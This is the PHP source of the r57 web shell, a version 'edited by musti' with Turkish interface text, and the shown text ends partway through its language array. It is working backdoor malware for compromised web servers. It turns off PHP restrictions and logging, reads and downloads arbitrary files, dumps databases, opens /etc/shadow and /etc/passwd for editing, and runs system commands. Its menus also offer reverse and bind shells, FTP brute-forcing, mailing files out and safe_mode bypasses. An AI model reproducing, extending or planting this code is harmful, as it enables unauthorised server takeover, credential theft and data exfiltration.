<?
error_reporting(0);
$language='tr';
$auth = 0;
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set('error_log',lisanssız);
@ini_set('log_errors',0);
;echo '';
if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=lisanssız) ||(@ini_get('safe_mode_include_dir')!=lisanssız)){$open_basedir=1;}else{$open_basedir=0;};
define("starttime",@getmicrotime());
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.43<br> edited by musti';
if(@version_compare(@phpversion(),'4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="HELLO!"');
header('HTTP/1.0 401 Unauthorized');
exit("<b>Access Denied</b>");
}
}
$head = '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>r57 shell</title>
<STYLE>
tr {
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-LEFT: black 1px solid;
BORDER-BOTTOM: black 1px solid;
BORDER-COLOR: black;
color: silver;
}
td {
BORDER-RIGHT: black 1px solid;
BORDER-TOP: black 1px solid;
BORDER-LEFT: black 1px solid;
BORDER-BOTTOM: black 1px solid;
BORDER-COLOR: black;
background-color:black;
color: white;
}
.table1 {
BORDER: 0px;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: black;
color: white;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
BACKGROUND-COLOR: black;
color: green;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #50AA20;
}
table {
BORDER: #eeeeee 1px outset;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: #131313;
color: #50AA20;
}
input {
border : solid 1px;
border-color : #2D2D2D #252525 #252525 #252525;
BACKGROUND-COLOR: black;
font: 8pt Verdana;
color: red;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: #131313;
font: 8pt Verdana;
color: white;;
}
submit {
BORDER: buttonhighlight 2px outset;
BACKGROUND-COLOR: #131313;
width: 30%;
color: white;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: black;
font: Fixedsys bold;
color: silver;
}
BODY {
SCROLLBAR-ARROW-COLOR: #444444;
SCROLLBAR-BASE-COLOR: #444444;
margin: 1px;
color: #50AA20;
background-color: #131313;
}
.main {
margin : -287px 0px 0px -490px;
border : #000000 solid 1px;
BORDER-COLOR: #333333;
}
.tt {
background-color: black;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
if ($timearray['year'] <1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |
($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);
}
function addFile($data,$name,$time = 0)
{
$name = str_replace('\\','/',$name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x'.$dtime[6] .$dtime[7]
.'\x'.$dtime[4] .$dtime[5]
.'\x'.$dtime[2] .$dtime[3]
.'\x'.$dtime[0] .$dtime[1];
eval('$hexdtime = "'.$hexdtime .'";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata,0,strlen($zdata) -4),2);
$c_len = strlen($zdata);
$fr .= pack('V',$crc);
$fr .= pack('V',$c_len);
$fr .= pack('V',$unc_len);
$fr .= pack('v',strlen($name));
$fr .= pack('v',0);
$fr .= $name;
$fr .= $zdata;
$this ->datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V',$crc);
$cdrec .= pack('V',$c_len);
$cdrec .= pack('V',$unc_len);
$cdrec .= pack('v',strlen($name) );
$cdrec .= pack('v',0 );
$cdrec .= pack('v',0 );
$cdrec .= pack('v',0 );
$cdrec .= pack('v',0 );
$cdrec .= pack('V',32 );
$cdrec .= pack('V',$this ->old_offset );
$this ->old_offset += strlen($fr);
$cdrec .= $name;
$this ->ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('',$this ->datasec);
$ctrldir = implode('',$this ->ctrl_dir);
return
$data .
$ctrldir .
$this ->eof_ctrl_dir .
pack('v',sizeof($this ->ctrl_dir)) .
pack('v',sizeof($this ->ctrl_dir)) .
pack('V',strlen($ctrldir)) .
pack('V',strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == 'bzip'&&@function_exists('bzcompress'))
{
$filename .= '.bz2';
$mime_type = 'application/x-bzip2';
$filedump = bzcompress($filedump);
}
else if ($compress == 'gzip'&&@function_exists('gzencode'))
{
$filename .= '.gz';
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = gzencode($filedump);
}
else if ($compress == 'zip'&&@function_exists('gzcompress'))
{
$filename .= '.zip';
$mime_type = 'application/zip';
$zipfile = new zipfile();
$zipfile ->addFile($filedump,substr($filename,0,-4));
$filedump = $zipfile ->file();
}
else
{
$mime_type = 'application/octet-stream';
}
}
function moreread($temp){
global $lang,$language;
$str='';
if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){
$ffile = @fopen($temp,"r");
while(!@feof($ffile)){$str .= @fgets($ffile);}
fclose($ffile);
}elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){
$ffile = @fopen($temp,"r");
$str = @fread($ffile,@filesize($temp));
@fclose($ffile);
}elseif(@function_exists('file')){
$ffiles = @file ($temp);
foreach ($ffiles as $ffile) {$str .= $ffile;}
}elseif(@function_exists('file_get_contents')){
$str = @file_get_contents($temp);
}elseif(@function_exists('readfile')){
$str = @readfile($temp);
}else{echo $lang[$language.'_text56'];}
return $str;
}
function readzlib($filename,$temp=''){
global $lang,$language;
$str='';
if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");};
if(@copy("compress.zlib://".$filename,$temp)) {
$str = moreread($temp);
}else echo $lang[$language.'_text119'];
@unlink($temp);
return $str;
}
function mailattach($to,$from,$subj,$attach)
{
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "; name=\"".$attach['name']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
if(mail($to,$subj,"",$headers)) {return 1;}
return 0;
}
class my_sql
{
var $host = 'localhost';
var $port = '';
var $user = '';
var $pass = '';
var $base = '';
var $db = '';
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;
function connect()
{
switch($this->db)
{
case 'MySQL':
if(empty($this->port)) {$this->port = '3306';}
if(!@function_exists('mysql_connect')) return 0;
$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
if(is_resource($this->connection)) return 1;
break;
case 'MSSQL':
if(empty($this->port)) {$this->port = '1433';}
if(!@function_exists('mssql_connect')) return 0;
$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
if($this->connection) return 1;
break;
case 'PostgreSQL':
if(empty($this->port)) {$this->port = '5432';}
$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
if(!@function_exists('pg_connect')) return 0;
$this->connection = @pg_connect($str);
if(is_resource($this->connection)) return 1;
break;
case 'Oracle':
if(!@function_exists('ocilogon')) return 0;
$this->connection = @ocilogon($this->user,$this->pass,$this->base);
if(is_resource($this->connection)) return 1;
break;
}
return 0;
}
function select_db()
{
switch($this->db)
{
case 'MySQL':
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case 'MSSQL':
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case 'PostgreSQL':
return 1;
break;
case 'Oracle':
return 1;
break;
}
return 0;
}
function query($query)
{
$this->res=$this->error='';
switch($this->db)
{
case 'MySQL':
if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) {return 1;}
return 2;
break;
case 'MSSQL':
if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = 'Query error';
return 0;
}
else if(@mssql_num_rows($this->res) >0) {return 1;}
return 2;
break;
case 'PostgreSQL':
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) >0) {return 1;}
return 2;
break;
case 'Oracle':
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = 'Query parse error';
}
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error['message'];
}
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case 'MySQL':
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
break;
case 'MSSQL':
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;};
break;
case 'PostgreSQL':
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
break;
case 'Oracle':
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
@ocifreestatement($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = '##';
$this->dump[1] = '## --------------------------------------- ';
$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
$this->dump[3] = '## Database: '.$this->base;
$this->dump[4] = '## Table: '.$table;
$this->dump[5] = '## --------------------------------------- ';
switch($this->db)
{
case 'MySQL':
$this->dump[0] = '## MySQL dump';
if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0]['Create Table'];
$this->dump[] = '## --------------------------------------- ';
if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `",$this->columns).'`) VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
}
break;
case 'MSSQL':
$this->dump[0] = '## MSSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
}
break;
case 'PostgreSQL':
$this->dump[0] = '## PostgreSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
}
break;
case 'Oracle':
$this->dump[0] = '## ORACLE dump';
$this->dump[] = '## under construction';
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case 'MySQL':
@mysql_close($this->connection);
break;
case 'MSSQL':
@mssql_close($this->connection);
break;
case 'PostgreSQL':
@pg_close($this->connection);
break;
case 'Oracle':
@oci_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case 'MySQL':
return @mysql_affected_rows($this->res);
break;
case 'MSSQL':
return @mssql_affected_rows($this->res);
break;
case 'PostgreSQL':
return @pg_affected_rows($this->res);
break;
case 'Oracle':
return @ocirowcount($this->res);
break;
default:
return 0;
break;
}
}
}
if(!empty($_POST['cmd']) &&$_POST['cmd']=="download_file"&&!empty($_POST['d_name']))
{
if($file=@fopen($_POST['d_name'],"r")){$filedump = @fread($file,@filesize($_POST['d_name']));@fclose($file);}
else if ($file=readzlib($_POST['d_name'])) {$filedump = $file;}else {err(1,$_POST['d_name']);$_POST['cmd']="";}
if(isset($_POST['cmd']))
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) {header('Content-Encoding: '.$content_encoding);}
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
if(isset($_GET['phpinfo'])) {echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}
if (!empty($_POST['cmd']) &&$_POST['cmd']=="db_query")
{
echo $head;
$sql = new my_sql();
$sql->db = $_POST['db'];
$sql->host = $_POST['db_server'];
$sql->port = $_POST['db_port'];
$sql->user = $_POST['mysql_l'];
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
$querys = @explode(';',$_POST['db_query']);
echo '<body bgcolor=#000000>';
if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
else
{
if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
else
{
foreach($querys as $num=>$query)
{
if(strlen($query)>5)
{
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
switch($sql->query($query))
{
case '0':
echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
break;
case '1':
if($sql->get_result())
{
echo "<table width=100%>";
foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
$keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ",$sql->columns);
echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
for($i=0;$i<$sql->num_rows;$i++)
{
foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
}
echo "</table>";
}
break;
case '2':
$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
break;
}
}
}
}
}
echo "<br><form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']);
echo in('hidden','db_server',0,$_POST['db_server']);
echo in('hidden','db_port',0,$_POST['db_port']);
echo in('hidden','mysql_l',0,$_POST['mysql_l']);
echo in('hidden','mysql_p',0,$_POST['mysql_p']);
echo in('hidden','mysql_db',0,$_POST['mysql_db']);
echo in('hidden','cmd',0,'db_query');
echo "<div align=center>";
echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
echo "</form>";
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
}
if(isset($_GET['delete']))
{
@unlink(__FILE__);
}
if(isset($_GET['tmp']))
{
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
@unlink("/tmp/prxpl");
@unlink("/tmp/grep.txt");
}
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
{
if ($value == '') return '<i>no value</i>';
if (@is_bool($value)) return $value ?'TRUE': 'FALSE';
if ($value === lisanssız) return 'lisanssız';
if (@is_object($value)) $value = (array) $value;
if (@is_array($value))
{
@ob_start();
print_r($value);
$value = @ob_get_contents();
@ob_end_clean();
}
return U_wordwrap((string) $value);
}
function U_wordwrap($str)
{
$str = @wordwrap(@htmlspecialchars($str),100,'<wbr />',true);
return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!','$1$2<wbr />',$str);
}
if (@function_exists('ini_get_all'))
{
$r = '';
echo '<table width=100%>','<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
foreach (@ini_get_all() as $key=>$value)
{
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
}
echo $r;
echo '</table>';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
$cpuf = @file("cpuinfo");
if($cpuf)
{
$c = @sizeof($cpuf);
for($i=0;$i<$c;$i++)
{
$info = @explode(":",$cpuf[$i]);
if($info[1]==""){$info[1]="---";}
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['mem']))
{
echo $head;
echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
$memf = @file("meminfo");
if($memf)
{
$c = sizeof($memf);
for($i=0;$i<$c;$i++)
{
$info = explode(":",$memf[$i]);
if($info[1]==""){$info[1]="---";}
$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
}
echo $r;
}
else
{
echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
}
echo '</table>';
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">green</a> ]</b></font></div>";
die();
}
if(isset($_GET['dmesg(8)']))
{$_POST['cmd'] = 'dmesg(8)';}
if(isset($_GET['free']))
{$_POST['cmd'] = 'free';}
if(isset($_GET['vmstat']))
{$_POST['cmd'] = 'vmstat';}
if(isset($_GET['lspci']))
{$_POST['cmd'] = 'lspci';}
if(isset($_GET['lsdev']))
{$_POST['cmd'] = 'lsdev';}
if(isset($_GET['procinfo']))
{$_POST['cmd']='cat /proc/cpuinfo';}
if(isset($_GET['version']))
{$_POST['cmd']='cat /proc/version';}
if(isset($_GET['interrupts']))
{$_POST['cmd']='cat /proc/interrupts';}
if(isset($_GET['realise1']))
{$_POST['cmd'] = 'cat /etc/*realise';}
if(isset($_GET['service']))
{$_POST['cmd'] = 'service --status-all';}
if(isset($_GET['ifconfig']))
{$_POST['cmd'] = 'ifconfig';}
if(isset($_GET['w']))
{$_POST['cmd'] = 'w';}
if(isset($_GET['who']))
{$_POST['cmd'] = 'who';}
if(isset($_GET['uptime']))
{$_POST['cmd'] = 'uptime';}
if(isset($_GET['last']))
{$_POST['cmd'] = 'last -n 10';}
if(isset($_GET['psaux']))
{$_POST['cmd'] = 'ps -aux';}
if(isset($_GET['netstat']))
{$_POST['cmd'] = 'netstat -a';}
if(isset($_GET['lsattr']))
{$_POST['cmd'] = 'lsattr -va';}
if(isset($_GET['syslog']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
if(isset($_GET['fstab']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
if(isset($_GET['fdisk']))
{$_POST['cmd'] = 'fdisk -l';}
if(isset($_GET['df']))
{$_POST['cmd'] = 'df -h';}
if(isset($_GET['realise2']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
if(isset($_GET['hosts']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
if(isset($_GET['resolv']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
if(isset($_GET['systeminfo']))
{$_POST['cmd'] = 'systeminfo';}
if(isset($_GET['shadow']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
if(isset($_GET['passwd']))
{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
$lang=array(
'tr_text1'=>'Komut Uygula',
'tr_text2'=>'Server uzerinde komut calistir ',
'tr_text3'=>'Komut istemi ',
'tr_text4'=>'Calisma Dizini ',
'tr_text5'=>'Servere Dosya Upload Et',
'tr_text6'=>'Yerel Dosya ',
'tr_text7'=>'Dizin Veya Dosya Bul ',
'tr_text8'=>'Sec',
'tr_butt1'=>'Uygula',
'tr_butt2'=>'Yukle',
'tr_text9'=>'Porta baglan /bin/bash',
'tr_text10'=>'Port',
'tr_text11'=>'Sifre Giris',
'tr_butt3'=>'Baglan',
'tr_text12'=>'Back-Connect',
'tr_text13'=>'IP',
'tr_text14'=>'Port',
'tr_butt4'=>'Baglan',
'tr_text15'=>'Uzaktan servere dosya yukle',
'tr_text16'=>'ile',
'tr_text17'=>'Uzak Dosya',
'tr_text18'=>'Yerel Dosya',
'tr_text19'=>'Exploits',
'tr_text20'=>'Kullan',
'tr_text21'=>' Yeni ad',
'tr_text22'=>'datapipe',
'tr_text23'=>'Yerel Port',
'tr_text24'=>'Uzak Host',
'tr_text25'=>'Uzak Port',
'tr_text26'=>'Kullan',
'tr_butt5'=>'Iste',
'tr_text28'=>'Guvenlik Modunda Calis',
'tr_text29'=>'Giris Yok ',
'tr_butt6'=>'Degistir',
'tr_text30'=>'Cat file',
'tr_butt7'=>'Goster',
'tr_text31'=>'Dosya Bulunamadi',
'tr_text32'=>'PHP Kod Degerlendir ',
'tr_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
'tr_butt8'=>'Testet',
'tr_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.',
'tr_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.',
'tr_text36'=>'Database[VeriTabani]',
'tr_text37'=>'Kullanici',
'tr_text38'=>'Sifre',
'tr_text39'=>'Tablo',
'tr_text40'=>'Dump database table[DB Tablosu dok]',
'tr_butt9'=>'Dump',
'tr_text41'=>'DB dosyalarini kaydet.[Dump filed]',
'tr_text42'=>'Dosya Duzenle ',
'tr_text43'=>'Dosya Duzenlemek icin',
'tr_butt10'=>'Kaydet',
'tr_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor',
'tr_text45'=>'Dosya Kaydedildi',
'tr_text46'=>'PHP info Goster()',
'tr_text47'=>'Php.ini dosyasinda ki degiskenleri goster',
'tr_text48'=>'Temp dosylarini sil',
'tr_butt11'=>'Dosya Duzenle',
'tr_text49'=>'Server dan bu scripti sil',
'tr_text50'=>'CPU bilgisini incele',
'tr_text51'=>'Memory[hafiza] bilgisini incele]',
'tr_text52'=>'Metni Bul ',
'tr_text53'=>'Klasor Bul',
'tr_text54'=>'Dosyalarda ki Metni Bul',
'tr_butt12'=>'Bul',
'tr_text55'=>'Dosya Bul ',
'tr_text56'=>'Bulunmadi :( KeyCoder :)',
'tr_text57'=>'Olustur/Sil Dosya/Dizin ',
'tr_text58'=>'isim',
'tr_text59'=>'Dosya',
'tr_text60'=>'Dizin',
'tr_butt13'=>'Olustur/Sil',
'tr_text61'=>'Dosya Olustur',
'tr_text62'=>'Dizin Olustur',
'tr_text63'=>'Dosya Sil',
'tr_text64'=>'Dizin Sil',
'tr_text65'=>'Olustur',
'tr_text66'=>'Sil',
'tr_text67'=>'Chown/Chgrp/Chmod',
'tr_text68'=>'Uygula',
'tr_text69'=>'param1',
'tr_text70'=>'param2',
'tr_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'tr_text72'=>'Metin Bul',
'tr_text73'=>'Klasor Bul',
'tr_text74'=>'Dosya Bul',
'tr_text75'=>'* you can use regexp',
'tr_text76'=>'Metin Ara Dosyalarin icinde Arama Yoluyla',
'tr_text80'=>'Cesit',
'tr_text81'=>'Net',
'tr_text82'=>'Databases',
'tr_text83'=>'SQL Sorgusu Yap',
'tr_text84'=>'SQL Sorgusu',
'tr_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'tr_text86'=>'Download files from server',
'tr_butt14'=>'Download',
'tr_text87'=>'Download files from remote ftp-server',
'tr_text88'=>'server:port',
'tr_text89'=>'File on ftp',
'tr_text90'=>'Transfer mode',
'tr_text91'=>'Archivation',
'tr_text92'=>'without arch.',
'tr_text93'=>'FTP',
'tr_text94'=>'FTP-bruteforce',
'tr_text95'=>'Users list',
'tr_text96'=>'Can\'t get users list',
'tr_text97'=>'checked: ',
'tr_text98'=>'success: ',
'tr_text99'=>'/etc/passwd',
'tr_text100'=>'Send file to remote ftp server',
'tr_text101'=>'Use reverse (user -> resu)',
'tr_text102'=>'Mail',
'tr_text103'=>'Send email',
'tr_text104'=>'Send file to email',
'tr_text105'=>'To',
'tr_text106'=>'From',
'tr_text107'=>'Subj',
'tr_butt15'=>'Send',
'tr_text108'=>'Mail',
'tr_text109'=>'Hide',
'tr_text110'=>'Show',
'tr_text111'=>'SQL-Server : Port',
'tr_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
'tr_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)',
'tr_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)',
'tr_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
'tr_text116'=>'Copy from',
